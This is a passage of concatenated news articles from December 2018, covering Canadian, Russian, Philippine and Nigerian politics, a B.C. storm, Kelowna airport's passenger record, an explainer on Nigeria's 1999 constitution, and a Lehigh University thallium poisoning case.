appeared warmer to the idea than they have before. A guaranteed minimum income means different things to different people, but at its core is a no-strings-attached payment governments provide instead of an assortment of targeted benefits. What it costs in additional spending, the thinking goes, it makes up for in reduced bureaucracy for both the government and recipients. Read more Metro Manila (CNN Philippines, December 19) A United Nations special rapporteur has called on the government to stop attacks on human rights defenders (HRD) and that "public stigmatization" on them cease "immediately." Michel Forst, UN special rapporteur on the situation on Human Rights defenders, released on Wednesday a report on the situation of HRDs in 140 countries. On issues involving HRDs in the country, Forst said in his report the government should "end immediately all forms of violations against human rights defenders, including extrajudicial killings and enforced disappearances." "The stigmatization, defamation, judicial harassment, arbitrary arrest and criminalization of defenders is a key area of concern," Forst said. He specifically mentioned human rights workers are vilified publicly, "subject to smear campaigns and online harassment," and government officials have tried to connect them to the illegal drugs trade, as well as communist or terrorist groups. "Additionally, human rights defenders have been subject to arbitrary arrest and prosecution, including over trumped up charges. Human rights defenders and political dissidents also report some form of surveillance by law enforcement personnel," Forst added. Forst also mentioned the risks female HRDs face and how these are related to the "promotion and reinforcement of misogynistic and hetero-patriarchal norms." He pointed out that public stigmatization of HRDs could cause attacks against them, and this should come to an end as well. Forst recommended that the work HRDs do should be publicly recognized to highlight that what they did was legitimate and important. The special rapporteur pointed out while there may be legal means to fight against these issues under the Constitution, the impartiality of the country's judicial system has come into question, citing the case of former Chief Justice Maria Lourdes Sereno. Forst said HRDs should be protected, adding the government should amp up its support for UN Human Rights Commission. "The State should develop protection mechanisms that protect and support human rights defenders... The government should recognize the specific needs and circumstances of groups of defenders facing high risks, such as women human rights defenders, indigenous human rights defenders, land and environmental rights defenders, and journalists," he said. Forst's recommendations include the review, amendment and/or repeal of laws that restrict freedom of expression and opinion, and that government should refrain from employing counter-insurgency measures, which result in extra-judicial killings. "The government must reaffirm its commitment to the rule of law and ensure that human rights violations are properly investigated, including those allegedly committed by state actors, to make the perpetrators accountable and mitigate the culture of impunity," he said. Photo: The Canadian Press Speaking to a small crowd of well-dressed Liberal donors, Prime Minister Justin Trudeau spoke out against division and polarization even as a larger crowd of angry protesters was kept far away from the posh event. Trudeau was the main attraction for the Liberal fundraiser in Kingston, Ont., Wednesday evening, where an intimate crowd of several dozen people paid up to $400 to hear from their leader and queue up for a photo. The prime minister told them he plans to run on a platform of positivity in the October 2019 election, despite what he described as the growing popularity of using division and fear for political gain. "Any time there is a challenge or a conflict, it's easy for someone to stand up and say, 'It's their fault because they live on the wrong side of the river or the other side of the border or are of a different background or speak a different language,," he said. "That could potentially be a way to short-term political gain, but it's not a path towards being able to solve our challenges, it's not a path toward being able to govern responsibly." Meanwhile, down several winding corridors of the St. Lawrence College venue, a crowd that outnumbered the Liberal ticket-holders shouted chants of protest against the government. Some were upset over the government legislating striking Canada Post workers back to work, while others voiced their concern over Canada signing the United Nations migration pact. Still others were counter-rallying in support of immigration. They were not allowed anywhere near the prime minister, however, as he arrived via a back entryway. Before Trudeau's arrival, the fire alarm in the building went off twice, but fundraiser guests simply went on sipping their wine and beer and continued their conversations. They delivered polite applause as Trudeau listed his government's recent accomplishments: signing a new free-trade agreement with the United States and Mexico; ratifying the Comprehensive and Progressive Agreement for Trans Pacific Partnership (CPTPP); restoring rail service to Churchill, Man.; and legalizing cannabis. He asked attendees to continue to donate and volunteer to ensure his team gets another four years in government. "Everything we do reminds us that there's always more to do," he said. Photo: The Canadian Press Russian President Vladimir Putin speaks during his annual news conference in Moscow, Russia, Thursday. Russian President Vladimir Putin issued a chilling warning Thursday about the rising threat of a nuclear war, saying "it could lead to the destruction of civilization as a whole and maybe even our planet" and putting the blame squarely on the U.S. Speaking at his annual news conference, Putin scoffed at Western claims he wants to dominate the world and said Western countries are antagonizing Russia for their own domestic reasons, and at their own peril. He dismissed claims of Russian interference abroad, from a nerve agent poisoning in Britain to an alleged effort to infiltrate the U.S. National Rifle Association. Instead he sought to paint himself as the world's protector. Pointing at the U.S. intention to withdraw from the 1987 Intermediate-Range Nuclear Forces, or INF, Treaty, Putin warned that if the U.S. puts intermediate-range missiles in Europe, Russia will be forced to take countermeasures. "We are witnessing the breakup of the arms control system," Putin said, noting the U.S. plan to opt out of the INF Treaty and its reluctance to negotiate the extension of the New START agreement. U.S. officials say the withdrawal from the INF was prompted by Russian violations of the treaty. Putin noted that Western analysts are talking about the possibility of using low-yield nuclear weapons. "There is a trend of lowering the threshold" of using nuclear weapons, Putin said. "Lowering the threshold could lead to a global nuclear catastrophe." "We will have to ensure our security," he said. "And they shouldn't squawk later about us gaining unilateral advantages. We aren't seeking advantages, we are trying to preserve the balance and ensure our security." Putin also emphasized that the U.S. is pondering the use of ballistic missiles with conventional warheads, saying that the launch of such a missile could be mistaken for the launch of a nuclear-tipped one and trigger a global catastrophe. "If that happens, it could lead to the destruction of civilization as a whole and maybe even our planet," he said. Putin also noted that the U.S. appears to show little interest in extending the New START nuclear arms reduction treaty, which expires in 2021. "You aren't interested, you don't need it? OK, we know how to ensure our security," he said. Putin said it's the U.S., not Russia, that's aspiring to dominate the world. He pointed at U.S. annual defence spending exceeding $700 billion, comparing it with Russia's military budget of $46 billion. He had one nice thing to say about the United States, however: He welcomed President Donald Trump's decision to withdraw the U.S. military from Syria. The U.S. "has done the right thing," Putin said, reaffirming the long-held Russian argument that the U.S. presence in Syria was illegitimate because it wasn't vetted by the U.N. Security Council or approved by Syrian President Bashar Assad's government. The pullout is also likely to strengthen Russia's role in Syria's future. Putin said accusations of Russian interference in the West were trumped-up. Photo: Roger Beardmore A little thrush that's a long way from home is enchanting bird watchers in the Shuswap. Experienced birders Roger Beardmore and Nan Prittie say the fieldfare, a species of thrush usually found in Europe, Asia or North Africa, has been making itself comfortable with a flock of robins in Salmon Arm. Beardmore says Prittie spotted the bird as they took part in an annual bird count and neither believed they'd seen anything out of the ordinary until carefully studying a picture he snapped. Beardmore, a retired Parks Canada employee, says there's no question it's a fieldfare, but how it arrived in Salmon Arm or how long it will stay is a mystery, although he notes that it's very comfortable in cold weather and has ample mountain ash berries to eat. The fieldfare looks a lot like an immature robin because of its colouring, and Beardmore says it's only been seen once before in B.C. in 2003. He describes the bird as gregarious and says it has attracted a lot of attention from birders, travelling as far away as Washington state and Vancouver Island, who want to catch a glimpse of the rare visitor. Photo: The Canadian Press Bombardier Inc. brushed off any concerns that tensions between the federal government and China as well as with Saudi Arabia pose a threat to business jet sales, on which the plane and train maker is staking its financial turnaround. Relations between Ottawa and Beijing have been strained since Canadian authorities detained Huawei Technologies Co.s chief financial officer Meng Wanzhou in Vancouver on Dec. 1, which preceded the detention of three Canadians in China in less than one week. Foreign Affairs Minister Chrystia Freeland previously called attention to human rights issues under the watch of Saudi Crown Prince Mohammed bin Salman, tweeting in defence of a jailed womens rights activist last August that prompted the young royal to impose sanctions, boot Canadas ambassador and recall Saudi students from Canada. Bombardier, which celebrated the entry into service of its US$73-million Global 7500 business jet Thursday, said the product line is resistant to diplomatic and market fluctuations. If we see one region going through geopolitical slowdowns, there are usually other regions that are either coming up or experiencing booms where we can profit, said spokesman Mark Masluch. Michelle Ouellette, who heads Bombardiers Global 7500 program sold out into 2022 said that customers who signed up many years ago want their aircraft. The Global 7500, along with the new Global 5500 and 6500, come partly as a response to products from rival business jet manufacturer Gulfstream Aerospace Corp. as demand for the larger jetliners keeps rising. Bombardier delivered 138 of the 677 business jets shipped by the industry in 2017, securing 20 per cent of the global market, according to the General Aviation Manufacturers Association. That number topped Gulfstreams 120 business jet deliveries. Measured by revenue, however, Gulfstreams market share is higher. The Georgia-based company obtained US$6.56 billion of the US$20.2 billion in business jet sales. Bombardier raked in US$5.14 billion, according to the association. Gulfstream and Bombardier duke it out at the top of the market, said Ernie Arvai, president of commercial aviation consultancy AirInsight Group. Business jets which target extremely wealthy individuals, large corporations and aircraft management companies yield fatter margins than commercial planes, which should benefit both companies, he said. If youve got enough money for one of these very high-end business jets, youve probably got the ego to go with it, and the need to have the latest and greatest. So its a matter of ego with some of the billionaire buyers, who are a market for this aircraft. Bombardier is aiming for US$8.5 billion in annual revenues by 2020, driven largely by Global 7500 sales a major bump from last years US$5 billion. The business jet backlog now totals US$14.3 billion, Masluch said. The Montreal-based company is on track to deliver between 15 and 20 of the planes next year, and between 35 and 40 in 2020, he said. Nicholas Johansen UPDATE: 1 p.m. Kelowna International Airport welcomed its record-setting two-millionth annual passenger this afternoon. Since 2015, YLW has experienced unprecedented passenger growth, which can be attributed to population growth in the region and expanded air service and flight connectivity, the city says. YLW is one of the single largest economic drivers for jobs and revenues in B.C.s southern region. Reaching two million passengers this year is an incredible achievement for YLW and the Okanagan, said airport director Sam Samaddar. This truly is a community celebration. We could not have reached this milestone without the help of our airport tenants, airline and tourism partners, stakeholders, and of course our passengers. In 2005, YLW served one million passengers; 47 years after the first flight departed from the runway. A mere 13 years later, YLW is celebrating two million passengers, and is anticipating serving 3.5 million passengers annually by 2045. To keep up with growth, YLW is embarking on a planned 10-year, $183 million development program beginning in 2019, which includes: expansion of the terminal with a larger departures lounge, relocation and expansion of the domestic arrivals area, expanded security screening and more food and beverage services, as well as rehabilitation of the airside pavement including the runway, the addition of two passenger loading bridges, additional firefighting and snow clearing equipment, and a self-serve baggage drop. Nicholas Johansen ORIGINAL: noon Kelowna International Airport will celebrate a milestone today welcoming its two millionth passenger this year. This is a first for the airport, and a flight set to arrive about 12:15 p.m. will set the new record. Airport Director Sam Samaddar has been at YLW for 26 years and says its growth has been very rewarding for him "to see this airport grow from what I used to call a glorified bus station to a world-class airport, he said. YLW has grown to become one of the top 11 busiest airports in Canada, with a total economic impact of 4,545 jobs and $789 million in economic output. The airport served 1.89 million passengers last year. The tremendous growth also means the airport needs to expand, and upgrades are underway. A special celebration will greet passengers on Thursday, and Castanet will also be live to welcome them. Photo: The Canadian Press There will be drama. Foreign Affairs Minister Chrystia Freeland took pains to predict that in a lengthy August 2017 speech that spelled out Canada's goals at the start of the North American Free Trade Agreement talks with Mexico and the volatile Trump administration. "I chose my words really carefully because you didn't have to be a rocket scientist to anticipate that there would be moments of drama," Freeland recalled in an interview. "We knew there would be moments where we had to fasten our seatbelts, and I think what was important was to be mentally prepared for those moments, and not to be knocked off course by them." Ultimately, Canada's foreign minister led the country's efforts to salvage a new North American free trade deal. That white-knuckle ride earned Freeland the title of Canada's Business Newsmaker of the Year for 2018. She was the runaway choice of 81 per cent of editors surveyed by The Canadian Press. Alberta Premier Rachel Notley was second with nearly 10 per cent. Jeff Labow, an editor with the Globe and Mail's Report on Business, said Freeland "undoubtedly kept her cool amid all the Trump tweeting, lying, changing his direction and ended up with a deal that can be lived with." Hugo Fontaine, business editor of La Presse, said Freeland was the "face and the voice" of the Canadian negotiating team. Freeland led a spasmodic negotiation that was coloured by the personal insults U.S. President Donald Trump hurled at Prime Minister Justin Trudeau and, ultimately, at her. But Freeland said she was never shaken from her "core conviction" "what I truly felt from the minute that the president was elected" that a deal on NAFTA was possible. "One of our colleagues said to me that somehow I seemed always to be a little bit serene. I wouldn't say I was serene, but I was always confident." Freeland was blindsided when Mexico and the U.S. reached a side deal in August, threatening to sideline Canada unless it joined by the end of September. Freeland cut short a three-country European trip and diverted to Washington where she would spend the better part of the next month on the turf of her American counterpart, United States Trade Representative Robert Lighthizer. Trump had already injected an unprecedented level of drama into the talks. There was his ever-present threat to rip up NAFTA, his post-G7 insults calling Trudeau "very dishonest and weak," his frequent broadsides against Canadian farmers and supply management. He imposed punishing tariffs on Canadian and Mexican steel and aluminum and swung a Sword of Damocles threatening to add a 25 per cent tax on all Canadian autos entering the U.S. In late September, days before the U.S.-imposed deadline, Trump told a freewheeling news conference that he was "very unhappy with the negotiations and the negotiating style of Canada. We don't like their representative very much." Prime Minister Justin Trudeau said he wasn't surprised to hear complaints about Canada's negotiating team, led by Freeland. "When you're in a tough negotiation and the other guy complains about the quality of your negotiators, or how tough your negotiators are, that's not a reason you should be changing your negotiator," the prime minister said in an interview. "That's a reason to buy your negotiator a beer at the end of the day." At the time, Freeland held her powder. Looking back, Freeland said she laid down some markers for herself, and for Canada, early on. She began making preparations for NAFTA as soon as Trump was elected two months before her promotion from the trade minister's job to a retooled foreign affairs portfolio that put her in charge of Canada-U.S. trade. Trump may have had the Art of the Deal, but Freeland had Steve Verheul, Canada's chief negotiator. Freeland and Verheul played hardball together to nail down the final version of the Canada-EU trade deal in late 2016, travelling to the nether regions of Belgium to stare down a restive constituency known as the Walloons, who were threatening to veto seven years of negotiations with a Byzantine set of constitutional powers. Heading into NAFTA, Verheul told Freeland they had to remember an important lesson they had learned. "The worst thing in a trade negotiation is to have a weak or uncertain counterparty because then you can't get a deal," the minister recalled. "What you actually really want at the other side of the table is someone who is really smart. Because then, at the end of the day, they will be able, together with you, to identify that win-win landing zone." Photo: BC Hydro UPDATE: 2:30 p.m. Thousands of customers were without power on Vancouver Island, the Lower Mainland and the Sunshine Coast in British Columbia as a powerful wind storm swept through that part of the province. BC Hydro says about 100,000 customers didn't have electricity on Vancouver Island shortly after midday on Thursday, while the lights were out for almost 130,000 in the Lower Mainland and Sunshine Coast. Environment Canada issued a wind warning for those areas saying a powerful low pressure system was sweeping into the B.C. coast, bringing winds in the range of 70 to 90 km/h with gusts up to 100 km/h. The winds also prompted cancellations or delays at BC Ferries for sailings between Nanaimo and Horseshoe Bay, Tsawwassen to Swartz Bay, Tsawwassen to Duke Point and Tsawwassen to the Southern Gulf Islands. Rainfall warnings were posted for Howe Sound, the Fraser Valley and Fraser Canyon, with Environment Canada saying 50 millimetres could drench those regions by Friday. Snowfall or winter storm warnings were also up for mountain passes to and from the Interior with Environment Canada advising of rapidly accumulating snow on sections of a number of highways including the Sea-to-Sky, Coquihalla, Highway 3 and Highway 1 between Eagle Pass and Rogers Pass. The Canadian Press ORIGINAL: 11:30 a.m. High winds have knocked out power across the B.C. Coast, with multiple, widespread outages across Vancouver Island, Metro Vancouver and the Fraser Valley. BC Hydro's power outage map shows dozens of outages, affecting more than 60,000 customers. Virtually the entire west coast of Vancouver Island is without power after Environment Canada issued wind warnings stating gusts could reach more than 100 km/h. Outages stretch from Ucluelet and Tofino to Victoria, Vancouver, Abbotsford and beyond. The storm has also cancelled ferries on most routes today. A constitution is a primary document used for managing the countrys affairs democratically. It also is aimed at protecting human rights. In this article, we are going to discuss the importance of the constitution in Nigeria. Photo: guardian.ng A constitution is also a set of principles that can be written or unwritten to help in the governance of the country. The constitution is designed to define in either explicit or implicit way the operational boundary of all the organs of the government. If we could imagine a country without any democratic guidelines on how to govern it, there would be no limitations on the government's actions which would make the country unstable. The main reason for establishing the constitution is to set suitable principles to rule the organs of the government democratically. A realistic and actively implemented constitution is the source of peace and stability in the country. Importance of constitution for a country The importance of the constitution is difficult to deny. The first reason is it protects various individuals' rights and freedoms. The constitution puts the power to rule the country in the citizens' hands. On the other hand, it is called to limit the power of the government and establish a check and balance system. The main function of the constitution is to establish the structure of the government. In the constitution, there should be described the major organs of government. They include the legislature, executive and judiciary organs. The constitution is expected to differentiate the responsibilities between the branches and regulate the relationship between them. Given the fact that the countrys constitution is over all the laws of the country, any law issued by the ruling legislative organ has to conform with the constitution which is the main law. For example, the 1999 Constitution of Nigeria ensures the protection of various institutions by the Public Complaints Commission Act, the National Youth Service legislation, the National Securities Agencies Act, the Land Use Act, and so on. The constitution both provides instruction for effective governance and deals with limitations on power. As there always exists a danger of the abuse of power, a constitution is established to restrict it by the members of the government. The constitution of the country also describes the national plan of democratic development which forms the main basis of the nation. For example, the constitution of a particular country may inscribe in it the primary values of the nation such as socialism, democracy, territorial unity, and national integration. Apart from focusing on the rights of the citizens of the particular nation, the constitution also embeds the duties that the citizens are required to adhere to. The importance of the constitution can be determined on the basis of economics. This is the legal document that gives validity to every institution. Whether it is a company or organisation, it is always linked to the constitution. The companies have to function according to the laws included in the constitution. Even their existence should be somehow regulated and approved by this law. READ ALSO: Types of population census and other useful information Photo: today.law.harvard.edu The significance of the 1999 constitution of Nigeria The 1999 Nigerian Constitution (Fourth Republic Constitution) is the supreme law of Nigeria. While it is the main book of laws, not all the laws in Nigeria are contained in this constitution. This is the well-known fact that the constitution is not a unification of all the laws of the country, on the opposite, it is the most general of the country's laws. Most of them are used for administrative purposes. Nigerian Constitution is designed to reflect the peculiarities of the federal character of Nigeria. It claims that no person from one state can discriminate the citizen from another. Also, ethnic or other groups should follow the democratic laws in the same way. The constitution of Nigeria also states the procedure of becoming a citizen of Nigeria and renouncing his/her citizenship. The 1999 Constitution of Nigeria states that to be a Senator you would have to be 35 years old or more, to be a member of the House of Representatives, one has to be at least 30 years old and to be a President, a person should be at least 40 years old. The Constitution also is expected to lay down all the processes including the election of a President, Prime Minister as well as the process for the impeachment of a President and his Vice-President. The 1999 Constitution of Nigeria also sets out the process for establishing political parties as well as the roles of the various judges of different levels and the criteria for their election. The functions of the constitution of Nigeria include protecting human rights of all Nigerian citizens which are the following: Right to life: Every person has a right to life, and no one shall be deprived intentionally of his life, save in execution of the sentence of a court in respect of a criminal offence of which he has been found guilty in Nigeria (33.1) (33.1) Right to personal liberty: Every person shall be entitled to his personal liberty and no person shall be deprived of such liberty (35.1) (35.1) Right to dignity: Every individual is entitled to respect for the dignity of his person (34.1) (34.1) Right to privacy: The privacy of citizens, their homes, correspondence, telephone conversations and telegraphic communications is hereby guaranteed and protected (37) (37) Right to fair hearing: In the determination of his civil rights and obligations, including any question or determination by or against any government or authority, a person shall be entitled to a fair hearing within a reasonable time by a court or other tribunal established by law and constituted in such manner as to secure its independence and impartiality (36.1) (36.1) Right to freedom of expression: Every person shall be entitled to freedom of expression, including freedom to hold opinions and to receive and impart ideas and information without interference (39.1) (39.1) Right to freedom of thought, conscience and religion: Every person shall be entitled to freedom of thought, conscience and religion, including freedom to change his religion or belief, and freedom (either alone or in community with others, and in public or in private) to manifest and propagate his religion or belief in worship, teaching, practice and observance (38.1) (38.1) Right to freedom of movement within Nigeria: Nothing in subsection (1) of this section shall invalidate any law that is reasonably justifiable in a democratic society imposing restrictions on the residence or movement of any person who has committed or is reasonably suspected to have committed a criminal offence in order to prevent him from leaving Nigeria (41.2 (a)) (41.2 (a)) Right to acquire and own immovable property anywhere in Nigeria: Subject to the provisions of this Constitution, every citizen of Nigeria shall have the right to acquire and own immovable property anywhere in Nigeria (43) and other. Photo: jimidisu.com 1999 Constitution of Nigeria after the overthrow of military rule which took place in the country for 33 years. This constitution restored democratic rule in Nigeria. Since then, it remains in force. In 2011, President Goodluck Jonathan signed 3 amendments to the 1999 Constitution. The previous 1963 Constitution appeared not able to protect Nigerian citizens. The main problem Nigerian people tried to solve was corruption taking place in most governmental institutions and ruining the whole society. When the period of military rule ended, the process of democratic development began. This change was supported by a new constitution. While the current Nigerian constitution was expected to implement new rules for running the country, it was not accepted. It even caused a wave of agitations and protests across the country that called for a return to the 1963 Constitution, which claimed the principles of federalism. Today, Nigeria is still working on establishing democratic rule. While the first, second and third amendments to the 1999 Constitution were signed, they didn't deal with the core issues responsible for the federation form of government. One of the most contradicting sections in the Nigeria constitution is exactly about federalism which implies adoption of the present 774 Local Government Areas as part of the federating units: Nigeria shall be a Federation consisting of States and a Federal Capital Territory (chapter 1, section 2 (2)). The problem with federalism in Nigeria is of great importance. It consists in the fact that the country includes three tribes, Hausa, Igbo, and Yoruba. These ethnic groups make Nigeria a fractured land. Igbo people have undertaken a lot of attempts aimed at establishing their own independent country which even led to Nigerian-Biafran civil war. In 1970, this war ended, and the 1969 Constitution established federalism. Photo: en.wikipedia.org 1999 Constitution of Nigeria had a significant influence on the further development of Nigeria. It is still in force which means that it contains laws enabling stable development of the country. READ ALSO: Top 10 most corrupt countries in the world Source: Legit - President Muhammadu Buhari has been described as a replica of the late Sir Abubakar Tafawa Balewa, Nigerias first prime minister - Dr Tom Okihere, coordinator of APC BroomPlatform disclosed this in Bauchi state - Okihere also called on Nigerians to re-elect President Buhari during the forthcoming general elections to enable him consolidate on his achievements Coordinator of APC BroomPlatform, a support group of the APC, Dr Tom Okihere has described President Buhari as a replica of the late Sir Abubakar Tafawa Balewa. Vanguard reports that Okihere said this in Bauchi when he visited the tomb of the late prime minister with members of the platform during a tour of Bauchi state. READ ALSO: Troops intercept suspected female Boko Haram bombers (photos) What we have discovered here now is similarity in character and leadership virtue between late Tafawa Balewa and President Muhammadu Buhari. They are so closed in description, Buhari is so simple, Buhari is so down to heart, Buhari is so people-oriented. And what do you read in the summary of life and time of Tafawa Balewa is all about his character and virtues. So in late Tafawa Balewa, we found President Muhammadu Buhari, the President of the people. Going further, he called on Nigerians to re-elect President Buhari during the forthcoming general elections to enable him consolidate on his achievements. Our leader, President Muhammadu Buhari, the leader of the APC, the leader of the nation has to come back by 2019 to deliver this country from the hands of bulldozers and economic saboteurs. The electorate has to support the peoples mandate, which is Buhari and his government, he said. Meanwhile, Legit.ng had reported that Nigeria's ruling All Progressives Party (APC) suffered a major blow in Niger state as over 1,000 members of the party have joined The Peoples Democratic Party (PDP). PAY ATTENTION: Read the news on Nigerias #1 news app The Peoples Democratic Party also received defectors from Advance Democratic Party (ADP) from Niger South (Zone A) senatorial district of the state. Apart from the 1,000 that decamped from the APC, 500 members of ADP also joined the PDP. NAIJ.com (naija.ng) -> Legit.ng We have updated to serve you better. Nigeria Latest News: Buhari Reacts To APC Senators Betrayal | Legit TV. Source: Legit - The DG of NESREA, Lawrence Anukam, said new statistics shows that an estimated 60 million Nigerians spend N1.6trl on generators annually - Anukam said his agency is implementing National Generator Emission Control Programme to control the emission originating from the generators - The implementation is expected to begin by January 2019 The director general of National Environmental Standards and Regulations Enforcement Agency (NESREA), Lawrence Anukam, said about 60 million Nigerians invest N1.6 trillion to buy and maintain standby generators every year. Speaking during a media briefing in Abuja to announce the implementation of the National Generator Emission Control Programme (NGECP) which is expected to begin in January with Abuja as a pilot study, Anukam said the aim of the programme is to control the emission originating from generating sets used in the country. The Nation reports that Anukam said the target is to see that Nigerians use functional, non-polluting generating set as alternative source of energy. READ ALSO: Recovery from recession still fragile - Saraki speaks after Buharis budget presentation He said: Recent statistics from the Centre for Management Development revealed that an estimated 60 million Nigerians invest about N1.6 trillion to purchase and maintain standby generators annually. The National Generator Emission Control Programme (NGECP) is a strategy aimed at cutting down emission of pollutants from generators. The programme is being implemented under the Public Private Partnership (PPP) and will involve periodic testing of generators for toxic emissions. Anukam said air pollution, emanating from either vehicular or generating sets, remained a major challenge in the country. He explained that the United Nations (UN), World Health Organisation (WHO) and other international agencies had long identified urban air pollutions as one of the critical public health problems. Anukam said: Many cities around the world, particularly in developing countries like Nigeria, are experiencing rapid growth. Yet, in the absence of adequate environmental policy and action, this growth is occurring at considerable, and often increasing economic and social costs. The increase in population and economic development has escalated the proliferation of industries, use of motor vehicles and use of generators as alternative energy sources has led to the prevalent worldwide air pollutions situation which poses a serious environmental threat globally. Atmospheric pollution is gradually becoming a serious menace in Nigerian cities, especially in the metropolitan areas, where the use of power generating sets has become an alternative to power supply. PAY ATTENTION: NAIJ.com upgrades to Legit.ng: a letter from our Editor-in-Chief Bayo Olupohunda Meanwhile, Legit.ng previously reported that residents of Maiduguri, Borno state capital, were irked by the recent uninterrupted electricity supply which had caused astronomical increase in charges. Yola Electricity Distribution Company (YEDC) came under attack by residents who saw the 24 hours electricity supply as waste and digging holes in their pockets. The constant power supply according to the residents had caused what they described as outrageous billings. NAIJ.com (naija.ng) -> Legit.ng. We have upgraded to serve you better. Fashola EXCLUSIVE Interview: How Nigeria Can Have Uninterrupted Power Supply | Legit TV Source: Legit - Gabriel Suswam of the PDP says the party's presidency will restore Nigeria to her lost glory - Suswam is the former governor of Benue state and his party's candidate for the Benue Northeast senatorial district - The ex-governor says the Buhari-led government is presiding over a totally divided and poor nation which he met in a better state in 2015 The senatorial candidate of the Peoples Democratic Party (PDP) for the Benue Northeast senatorial district, Gabriel Suswam, has said Nigeria would be restored to her lost glory if the party coasts home to victory in the 2019 general elections. Suswam, who is a former governor of Benue state, made the assertion during a campaign rally at Tor Donga, headquarters of Shitile in Katsina Ala local government areas of the state, The Sun reports. Legit.ng gathers that the ex-governor said that the All Progressives Congress (APC) has made things go terribly wrong in the country. READ ALSO: NAIJ.com upgrades to Legit.ng: a letter from our Editor-in-Chief Bayo Olupohunda Suswam described the APC-led government as the most incompetent government in the history of Nigeria, adding that it has lost focus and touch with the people of the country since coming to power in 2015. According to him, the Buhari-led government is presiding over a totally divided and poor nation which he met in a better state in 2015. He said this why the president should be voted out of power. Meanwhile, Legit.ng previously reported that Suswam said it takes a big heart and courage for a governor to dare the president's order and interest as he had done in the past. According to Suswam, the Open Grazing Prohibition and Ranches Establishment Law which Governor Ortom signed is clearly against the interest of the presidency, hence his witch-hunt by EFCC and other federal government agencies. Suswam urged Benue people to set aside their political differences and queue behind Governor Ortom who he said, risked his political ambition to defend his people against enemies of the state and is ready to do more. PAY ATTENTION: Install our latest app for Android, read best news on Nigerias #1 news app He emphasized on the need for the people to vote for Ortom in 2019, saying the governor had demonstrated unique determination to protect them at the detriment of his personal relationship with the presidency. NAIJ.com (naija.ng) -> Legit.ng We have updated to serve you better Nigeria Latest News: Buhari vs Atiku - 2019 Elections | Legit TV Source: Legit The Nigerian Union South Africa (NUSA) has just announced the sudden demise of one Udebuani Chidokweanaukwu, who drowned in their country. The News Agency of Nigeria (NAN) disclosed that Chidokweanaukwu, a native of Nando community in Anambra state, drowned at a beach in Swellendam near Cape Town, Western Cape in South Africa. According to the publicity secretary of the union, Habib Miller, he confirmed the accident in a statement issued in Port Harcourt on Wednesday, December 19. Late Udebuani Chidokweanaukwu Photo: NAN Source: UGC READ ALSO: Tears flow as handsome young man dies days before his planned trip to Jakarta Miller said: With sorrow and heavy heart, we have received the news of the death of Udebuani Chidokweanaukwu from Nando, Anambra state. According to the information from an eye-witness, Chidikweanaukwu got drowned on the beach at Swellendam on December 17. He is survived by his wife and children. NUSA sympathises with his family and friends at this difficult time of grief and pray God comfort them. The also urged other members to be cautious as well as obey safety rules when visiting the beach and other hazardous places. Legit.ng earlier reported that while attempting to evade police arrest, a man identified Oge drowned in the Elechi river in Port-Harcourt, Rivers state. It was further explained that policemen stormed the area and began shooting into the air, while the deceased was playing with his friends around 4pm. PAY ATTENTION: Join Africa Love Aid today for your daily relationship tips and advice RIP! NAIJ.com (naija.ng) -> Legit.ng We have updated to serve you better Nigerian Air Force vows to apprehend Badeh's killers | Legit TV. Source: Legit A former Lehigh University student accused of leaving racist graffiti for his roommate earlier this year is now accused of trying to kill the roommate by poisoning. Yukai Yang was arraigned Thursday morning on charges of attempted homicide, aggravated assault, simple assault and reckless endangerment, after he turned himself in with his attorney, Janet Jackson, present. Jackson did not return a phone message about the new charges. Yang was sent to Northampton County Prison in lieu of $200,000 bail. At a news conference, Northampton County District Attorney John Morganelli said the two men were roommates for several years and were seniors at the time of the incidents this past spring. Yang, a chemistry major at the time, is no longer a student at the university and his student visa has been revoked, prosecutors said. The roommate, Juwan Royal, graduated from Lehigh, but continues to suffer physical effects from the poisoning, prosecutors said. Morganelli said it appears the poisoning occurred over a few months, with small amounts of thallium and possibly other chemicals mixed into food, drinks and mouthwash. The criminal charges are based on incidents where Royal was sick and there was a police response, but the district attorney said Royal had other incidents and symptoms that he had initially brushed off as just being sick. Initially, Mr. Royal was dumbfounded by this as everyone else, because he believed they had a fairly cordial relationship as roommates, Assistant District Attorney Abe Kassis said. The first incident involving police was back in February, when Royal said he drank from a water bottle in his room and felt burning in his mouth, according to Morganelli. Royal woke up Yang and explained what happened, Morganelli said. The pair rushed to the bathroom and, while Royal rinsed out his mouth, Yang reportedly said, so the substance that they are putting in your drink is colorless, odorless and dissolves in water. Royals tongue was sore for a few days after the incident, Morganelli said. Royal became ill again on March 18 and police were called, Morganelli said. Yang reportedly told officers he believed someone was tampering with items in the room and that the milk in the fridge and the Royals mouthwash had both changed color. In the early morning of March 29, Royal became ill again, this time throwing up and shaking, Morganelli said. He was taken to a local hospital for treatment. A week later, police were called to the pairs room again, this time for the graffiti and damage to Royals TV and bed, Morganelli said. Police seized Yangs computer and cellphone after the incident. After police began investigating the graffiti, the roommate reported the February incident and then submitted to a blood test, Morganelli said. The victims blood tested positive for the toxic metal thallium, with 3.6 micrograms per liter, above the safe toxicity level for people, Morganelli said. Royal immediately started treatment for thallium poisoning. Officers also found cadmium, another toxic metal, in the room, but Kassis said that was not present in Royals blood test results. In an interview with investigators, Yang admitted to buying various chemicals on the internet, including thallium, with the intent to harm himself if he did poorly on future exams, according to Morganelli. Yang allegedly admitted mixing the chemicals with food and drinks in the shared fridge. Yang, who turns 23 next week, was free on 10 percent of $10,000 bail in the graffiti case. He has a pretrial conference scheduled for Jan. 18 in the case. In the graffiti case, police said in April black marker was used to write (N-word) get out of here in a university dorm room. The victim said he left his room in Warren Square A and did not return until his roommate, Yang, reported the damage, police said. Yang gave police a written statement, where he said he left the room after his roommate and locked the door. The rooms locks were changed and he was let back into the room by Lehigh police at 6:30 p.m., police said. Police said they compared the written letter to the racist graffiti and saw similarities in the letters. Yang was charged with ethnic intimidation, institutional vandalism and criminal mischief in that case. The Lehigh University Police Department has worked closely with the District Attorneys Office on the investigation and will continue to do so. From the outset, our concern has been the health and safety of the victim of these alleged behaviors and, as such, Lehigh staff and faculty have been providing support, services and assistance, Lehigh University spokeswoman Lori Friedman said in a released statement. Sarah Cassi may be reached at scassi@lehighvalleylive.com. Follow her on Twitter @SarahCassi. Find lehighvalleylive.com on Facebook. Bethlehems Zoning Hearing Board Wednesday night denied an appeal filed by developer Abe Atiyeh, who wants to build a psychiatric hospital at Center and Dewberry streets by Bethlehem Catholic High School. The board voted 3-2 to uphold city Zoning Officer Suzannes Borzaks July denial of the zoning application on the grounds that what Atiyeh wants to build on the 5-acre lot is a treatment center and not a hospital, Borzak confirmed Thursday. Treatment centers are not legal uses in the citys institutional zoning 